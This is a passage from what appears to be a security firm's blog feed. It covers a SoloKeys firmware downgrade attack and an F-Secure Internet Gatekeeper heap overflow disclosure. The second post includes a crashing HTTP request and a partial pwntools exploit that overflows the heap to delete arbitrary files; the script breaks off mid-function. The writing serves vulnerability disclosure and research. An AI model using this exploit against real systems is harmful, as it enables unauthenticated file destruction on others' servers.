	&lt;img src=&quot;../../../public/images/solo_downgrade_attack_code.png&quot; width=&quot;100%&quot; title=&quot;SoloKeys firmware snippet&quot; alt=&quot;SoloKeys firmware snippet&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;We engaged Doyensec to perform a security assessment of &lt;a href=&quot;https://github.com/solokeys/solo/&quot;&gt;our firmware&lt;/a&gt;, v3.0.1 at the time of testing. During a 10 person/days project, Doyensec discovered and reported 3 vulnerabilities in our firmware. While two of the issues are considered informational, one issue has been rated as high severity and &lt;a href=&quot;https://github.com/solokeys/solo/pull/368&quot;&gt;fixed in v3.1.0&lt;/a&gt;. The &lt;a href=&quot;https://doyensec.com/resources/Doyensec_SoloKeys_TestingReport_Q12020_v3.pdf&quot;&gt;full report&lt;/a&gt; is available with all details, while in this post we’d like to give a high level summary of the engagement and findings.&lt;/p&gt;

&lt;h2 id=&quot;why-a-security-analysis-why-now&quot;&gt;Why a Security Analysis, Why Now?&lt;/h2&gt;

&lt;p&gt;One of the first requests we received after Solo’s Kickstarter was to run an &lt;a href=&quot;https://github.com/solokeys/solo/issues/126&quot;&gt;independent security audit&lt;/a&gt;. At the time we didn’t have resources to run it and towards the end of 2019 I even closed the ticket as won’t fix, causing a series of complaints from the community.&lt;/p&gt;

&lt;p&gt;Recently, we shared that &lt;a href=&quot;https://solokeys.com/blogs/news/update-on-our-new-and-upcoming-security-keys&quot;&gt;we’re building a new model of Solo&lt;/a&gt; based on a new microcontroller, the NXP LPC55S69, and a new firmware rewritten in Rust (a blog post on the firmware is coming soon). As most of our energies will be spent on the new firmware, we didn’t want the current STM32-based firmware to be abandoned. We’ll keep supporting it, fixing bugs and vulnerabilities, but it’s likely it will receive less attention from the wider community.&lt;/p&gt;

&lt;p&gt;Therefore we thought this was a good time for a security analysis.&lt;/p&gt;

&lt;p&gt;We asked Doyensec to detail not just their findings but also their process, so that we can re-validate the new firmware in Rust when released. We expect to run another analysis on the new firmware, although there’s no concrete plan yet.&lt;/p&gt;

&lt;h2 id=&quot;the-major-finding-downgrade-attack&quot;&gt;The Major Finding: Downgrade Attack&lt;/h2&gt;

&lt;p&gt;The security review consisted of a manual source code review and fuzzing of the firmware. One researcher performed the review for 2 weeks from Jan 21 to Jan 31, 2020.&lt;/p&gt;

&lt;p&gt;In short, he found a downgrade attack where he was able to “upgrade” a firmware to a previous version, exploiting the ability to upload the firmware in multiple, unordered chunks. Downgrade attacks are generally very sensitive because they allow an attacker to downgrade to a previous version of the firmware and then take advantage of older known vulnerabilities.&lt;/p&gt;

&lt;p&gt;Practically speaking, however, running such an attack against a Solo key requires either physical access to the key or -if attempted on a malicious site- an explicit user acknowledgement on the WebAuthn window.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This means that your key is almost certainly safe. In addition, we always recommend upgrading the firmware with our official tools.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Also note that our firmware is digitally signed and this downgrade attack couldn’t bypass our signature verification. Therefore a possible attacker can only install one of our twenty-ish previous releases.&lt;/p&gt;

&lt;p&gt;Needless to say, we took the vulnerability very seriously and fixed it immediately.&lt;/p&gt;

&lt;h2 id=&quot;anatomy-of-the-downgrade-attack&quot;&gt;Anatomy of the Downgrade Attack&lt;/h2&gt;

&lt;p&gt;This was the &lt;a href=&quot;https://github.com/solokeys/solo/blob/3.0.1/targets/stm32l432/bootloader/bootloader.c#L201&quot;&gt;incriminated code&lt;/a&gt;. And this is &lt;a href=&quot;https://github.com/solokeys/solo/pull/368/files#diff-f7cab51b94eff98a0aff021c872244b4R203&quot;&gt;the patch&lt;/a&gt;, that should help understand what happened.&lt;/p&gt;

&lt;p&gt;Solo firmware updates are a binary blob where the last 4 bytes represent the version. When a new firmware is installed on the keys, these bytes are checked to ensure that its version is greater than the currently installed one. The firmware digital signature is also verified, but this is irrelevant as this attack only allows to install older signed releases.&lt;/p&gt;

&lt;p&gt;The new firmware is written to the keys in chunks. At every write, a pointer to the last written address is updated, so that eventually it will point to the new version at the end of the firmware. You might see the issue: we were assuming that chunks are written only once and in order, but this was not enforced. The patch fixes the issue by requiring that the chunks are written strictly in ascending order.&lt;/p&gt;

&lt;p&gt;As an example, think of running v3.0.1, and take an old firmware - say v3.0.0. Search four bytes in it which, when interpreted as a version number, appear to be greater than v3.0.1. First, send the whole 3.0.0 firmware to the key. The last_written_app_address pointer now correctly points to the end of the firmware, encoding version 3.0.0.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/images/solo_firmware_downgrade_step1.png&quot; alt=&quot;Firmware downgrade step 1&quot; /&gt;
Then, write again the four chosen bytes at their original location. Now last_written_app_address points somewhere in the middle of the firmware, and those 4 bytes are interpreted as a “random” version. It turns out firmware v3.0.0 contains some bytes which can be interpreted as v3.0.37 – boom! &lt;a href=&quot;https://github.com/doyensec/SoloKeys-2020Q1-fw-downgrade-PoC&quot;&gt;Here is a fully working proof-of-concept&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/images/solo_firmware_downgrade_step2.png&quot; alt=&quot;Firmware downgrade step 1&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;fuzzing-tinycbor-with-afl&quot;&gt;Fuzzing TinyCBOR with AFL&lt;/h2&gt;

&lt;p&gt;The researcher also integrated AFL (American Fuzzy Lop) and started fuzzing our firmware. Our firmware depends on an external library, tinycbor, for parsing CBOR data. In about 24 hours of execution, the researcher exercised the code with over 100M inputs and found over 4k bogus inputs that are misinterpreted by tinycbor and cause a crash of our firmware. Interestingly, the initial inputs were generated by our FIDO2 testing framework.&lt;/p&gt;

&lt;p&gt;The fuzzer will be integrated in our testing toolchain soon. If anyone in the community is interested in fuzzing and would like to contribute by fixing bugs in tinycbor we would be happy to share details and examples.&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;In summary, we engaged a security engineering company (Doyensec) to perform a security review of our firmware. You can read the full report for details on the process and the downgrade attack they found. For any additional question or for helping with fuzzing of tinycbor feel free to reach out on Twitter &lt;a href=&quot;https://twitter.com/SoloKeysSec&quot;&gt;@SoloKeysSec&lt;/a&gt; or at &lt;a href=&quot;mailto:hello@solokeys.com&quot;&gt;hello@solokeys.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;We would like to thank Doyensec for their help in securing the SoloKeys platform. Please make sure to &lt;a href=&quot;https://doyensec.com&quot;&gt;check their website&lt;/a&gt;, and oh, they’re also launching a game soon. Yes, a &lt;a href=&quot;https://www.h1jack.com&quot;&gt;mobile game with a hacking theme&lt;/a&gt;!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Heap Overflow in F-Secure Internet Gatekeeper</title>
   <link href="https://blog.doyensec.com/2020/02/03/heap-exploit.html"/>
   <updated>2020-02-03T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2020/02/03/heap exploit</id>
   <content type="html">&lt;h2 id=&quot;f-secure-internet-gatekeeper-heap-overflow-explained&quot;&gt;F-Secure Internet Gatekeeper heap overflow explained&lt;/h2&gt;

&lt;p&gt;This blog post illustrates a vulnerability we discovered in the &lt;strong&gt;F-Secure Internet Gatekeeper&lt;/strong&gt; application. It shows how a simple mistake can lead to an exploitable unauthenticated remote code execution vulnerability.&lt;/p&gt;

&lt;h3 id=&quot;reproduction-environment-setup&quot;&gt;Reproduction environment setup&lt;/h3&gt;

&lt;p&gt;All testing should be reproducible in a &lt;a href=&quot;http://isoredirect.centos.org/centos/7/isos/x86_64/CentOS-7-x86_64-DVD-1908.iso&quot;&gt;CentOS&lt;/a&gt; virtual machine, with at least 1 processor and 4GB of RAM.&lt;/p&gt;

&lt;p&gt;An installation of &lt;a href=&quot;https://help.f-secure.com/product.html?business/igk/5.40/en/concept_16E400B3FDE344EDB1F699EE9C4117DB-5.40-en&quot;&gt;F-Secure Internet Gatekeeper&lt;/a&gt; will be needed. It used to be possible to download it from &lt;a href=&quot;https://www.f-secure.com/en/business/downloads/internet-gatekeeper&quot;&gt;https://www.f-secure.com/en/business/downloads/internet-gatekeeper&lt;/a&gt;. As far as we can tell, the vendor no longer provides the vulnerable version.&lt;/p&gt;

&lt;p&gt;The original affected package has the following SHA256 hash: 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Proceed with the installation:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;(1) If you’re using an x64 version of CentOS, execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yum install glibc.i686&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;(2) Install the Internet Gatekeeper binary using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rpm -I &amp;lt;fsigkbin&amp;gt;.rpm&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;(3) For a better debugging experience, install gdb 8+ and &lt;a href=&quot;https://github.com/hugsy/gef&quot;&gt;https://github.com/hugsy/gef&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now you can use GHIDRA/IDA or your favorite dissassembler/decompiler to start reverse engineering Internet Gatekeeper!&lt;/p&gt;

&lt;h3 id=&quot;the-target&quot;&gt;The target&lt;/h3&gt;

&lt;p&gt;As described by F-Secure, Internet Gatekeeper is a “highly effective and easy to manage protection solution for corporate networks at the gateway level”.&lt;/p&gt;

&lt;p&gt;F-Secure Internet Gatekeeper contains an admin panel that runs on port &lt;em&gt;9012/tcp&lt;/em&gt;. This may be used to control all of the services and rules available in the product (HTTP proxy, IMAP proxy, etc.). This admin panel is served over HTTP by the &lt;em&gt;fsikgwebui&lt;/em&gt; binary which is written in C. In fact, the whole web server is written in C/C++; there are some references to civetweb, which suggests that a customized version of &lt;a href=&quot;https://github.com/civetweb/civetweb&quot;&gt;CivetWeb&lt;/a&gt; may be in use.&lt;/p&gt;

&lt;p&gt;The fact that it was written in C/C++ lead us down the road of looking for memory corruption vulnerabilities which are usually common in this language.&lt;/p&gt;

&lt;p&gt;It did not take long to find the issue described in this blog post by fuzzing the admin panel with &lt;a href=&quot;https://github.com/denandz/fuzzotron&quot;&gt;Fuzzotron&lt;/a&gt; which uses &lt;a href=&quot;https://gitlab.com/akihe/radamsa&quot;&gt;Radamsa&lt;/a&gt; as the underlying engine. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fuzzotron&lt;/code&gt; has built-in TCP support for easily fuzzing network services. For a seed, we extracted a valid &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; request that is used for changing the language on the admin panel. This request can be performed by unauthenticated users, which made it a good candidate as fuzzing seed.&lt;/p&gt;

&lt;p&gt;When analyzing the input mutated by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;radamsa&lt;/code&gt; we could quickly see that the root cause of the vulnerability revolved around the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-length&lt;/code&gt; header. The generated test that crashed the software had the following header value: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Length: 21487483844&lt;/code&gt;. This suggests an overflow due to incorrect Integer math.&lt;/p&gt;

&lt;p&gt;After running the test through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb&lt;/code&gt; we discovered that the code responsible for the crash lies in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fs_httpd_civetweb_callback_begin_request&lt;/code&gt; function. This method is responsible for handling incoming connections and dispatching them to the relevant functions depending on which HTTP verbs, paths or cookies are used.&lt;/p&gt;

&lt;p&gt;To demonstrate the issue we’re going to send a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; request to port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;9012&lt;/code&gt; where the admin panel is running. We set a very big &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Length&lt;/code&gt; header value.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /submit HTTP/1.1
Host: 192.168.0.24:9012
Content-Length: 21487483844

AAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The application will parse the request and execute the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fs_httpd_get_header&lt;/code&gt; function to retrieve the content length. Later, the content length is passed to the function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strtoul&lt;/code&gt; (&lt;em&gt;String to Unsigned Long&lt;/em&gt;)&lt;/p&gt;

&lt;p&gt;The following pseudo code provides a summary of the control flow:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;content_len = fs_httpd_get_header(header_struct, &quot;Content-Length&quot;);
if ( content_len ){
   content_len_new = strtoul(content_len_old, 0, 10);
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What exactly happens in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strtoul&lt;/code&gt; function can be understood by reading the corresponding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man&lt;/code&gt; pages. The return value of  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strtoul&lt;/code&gt; is an unsigned long int, which can have a largest possible value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2^32-1&lt;/code&gt; (on 32 bit systems).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;The strtoul() function returns either the result of the conversion or, if there was a leading minus sign, the negation of the result of the conversion represented as an unsigned value, unless the original (nonnegated) value would overflow; in the latter case, strtoul() returns ULONG_MAX and sets errno to ERANGE. Precisely the same holds for strtoull() (with ULLONG_MAX instead of ULONG_MAX).
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As our provided &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Length&lt;/code&gt; is too large for an unsigned long int, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strtoul&lt;/code&gt; will return the ULONG_MAX value which corresponds to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xFFFFFFFF&lt;/code&gt; on 32 bit systems.&lt;/p&gt;

&lt;p&gt;So far so good. Now comes the actual bug. When the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fs_httpd_civetweb_callback_begin_request&lt;/code&gt; function tries to issue a malloc request to make room for our data, it first adds 1 to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;content_length&lt;/code&gt; variable and then calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;malloc&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This can be seen in the following pseudo code:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// fs_malloc == malloc&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;data_by_post_on_heap&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fs_malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;content_len_new&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This causes a problem as the value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xFFFFFFFF + 1&lt;/code&gt; will cause an integer overflow, which results in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00000000&lt;/code&gt;. So the malloc call will allocate 0 bytes of memory.&lt;/p&gt;

&lt;p&gt;Malloc does allow invocations with a 0 bytes argument. When &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;malloc(0)&lt;/code&gt; is called a valid pointer to the heap will be returned, pointing to an allocation with the minimum possible chunk size of 0x10 bytes. The specifics can be also read in the man pages:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;The malloc() function allocates size bytes and returns a pointer to the allocated memory. The memory is not initialized. If size is 0, then malloc() returns either NULL, or a unique pointer value that can later be successfully passed to free().
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we go a bit further down in the Internet Gatekeeper code, we can see a call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mg_read&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// content_len_new is without the addition of 0x1.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// so content_len_new == 0xFFFFFFFF&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;content_len_new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes_read&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mg_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header_struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data_by_post_on_heap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content_len_new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;During the overflow, this code will read an arbitrary amount of data onto the heap - without any restraints. For exploitation, this is a great primitive since we can stop writing bytes to the HTTP stream and the software will simply shut the connection and continue. Under these circumstances, we have complete control over how many bytes we want to write.&lt;/p&gt;

&lt;p&gt;In summary, &lt;strong&gt;we can leverage Malloc’s chunks of size 0x10 with an overflow of arbitrary data to override existing memory structures&lt;/strong&gt;. The following proof of concept demonstrates that. Despite being very raw, it exploits an existing struct on the heap by flipping a flag to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;should_delete_file = true&lt;/code&gt;, and then subsequently spraying the heap with the full path of the file we want to delete. Internet Gatekeeper internal handler has a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decontruct_http&lt;/code&gt; method which looks for this flag and removes the file. By leveraging this exploit, an attacker gains arbitrary file removal which is sufficient to demonstrate the severity of the issue.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;



&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;send_payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content_len&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;21487483844&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nofun&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9012&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;POST / HTTP/1.1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Host: 192.168.0.122:9012&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Content-Length: {}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;content_len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nofun&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;trigger_exploit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Triggering exploit&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;# Padding
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;# Fast bin chunk overwrite
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;488&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;# Padding
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xdda00771&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;# Address of payload
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xdda00771&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;# Junk
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;send_payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;



&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;massage_heap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Trying to massage the heap.....&quot;&lt;/span&gt;
